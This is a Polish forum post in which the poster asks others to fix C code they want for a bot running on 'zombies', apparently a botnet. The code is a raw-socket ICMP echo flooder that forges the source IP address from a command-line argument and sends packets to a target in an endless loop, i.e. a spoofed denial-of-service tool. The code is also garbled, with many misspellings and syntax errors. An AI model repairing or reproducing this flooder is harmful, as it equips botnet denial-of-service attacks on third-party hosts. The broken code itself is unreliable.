Potrzebuje rady , już mi się nie chce samemu głowić co zjebałem ... xD
sprawa wygląda tak że nie działa ;/
Pls help ziomy ... potrzebuje tej instrukcji do bota na zombie ... xd
Jak jesteś noobem bez wiedzy to nawet nie naciskaj odpowiedz ...
Kod:
#include < stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include < sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include<netinet/ip_icmp.h>
#include<netinet/ip.h>
#define SIZE 4096
unsighned shor ip_sum (unsigned short *addr, int len )
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer =0;
while(nieft > 1 )
{
sum + = *w++;
nieft-=2;
}
if (nieft ==1 )
{
*(u_char *) (&answer) = * (u_char * ) w;
sum+=answer ;
}
sum = (sum >> 16 ) + ( sum & 0xffff);
sum +=(sum >> 16 );
answer = ~ 16 );
answer = ~sum'
return(answer);
}
int main (int argc , char* argv[])
{
int sock;
struct iphdr*ip;
struct icmphdr *icmp;
struct sockaddr_in du;
struct hostent *h;
int len;
char buf[SIZE];
memset(&du, 0 sizeof(du));
memset(buf , 0 sizeof(buf));
if (h = gethostbyname(argv[1])) == NULL)
{
perror ("gethostbyname()");
}
du.sin_addr=*((struct in_addr*)h->h_addr);
memset (&(du.sin_zero),'\0',8);
ip=(struct iphdr*)buf;
icmp=(struct icmphdr*)(buf+sizeof(struct iphdr));
ip->version =4;
ip->ihl=sizeof(struct iphdr)/4;
ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr));
ip->id=htons(getpid()&255);
ip->ttl=64;
ip->protocol=IPPROTO_ICMP;
ip->saddr=inet_addr(argx[2]);
ip->daddr=du.sin_addr.s_addr;
icmp->type=ICMP_ECHO;
icmp->code=0;
icmp->checksum=0;
icmp->checksum=ip_sum((u_short*)icmp,sizeof(struct icmphdr));
if (sock=socket(PF_INET,SOCK_RAW,255))==-1)
{
perror("socket()");
exit(1);
}
len=sizeof(struct icmphdr)+sizeof(struct iphdr);
while(1)
{
if(sendto(sock,buf,len,0(struct sockaddr*)&du,sizeo(du)))==-1)
{
perror("sendto()");
exit(1);
}
Putchar('.');
}
close(sock);
return 0;
}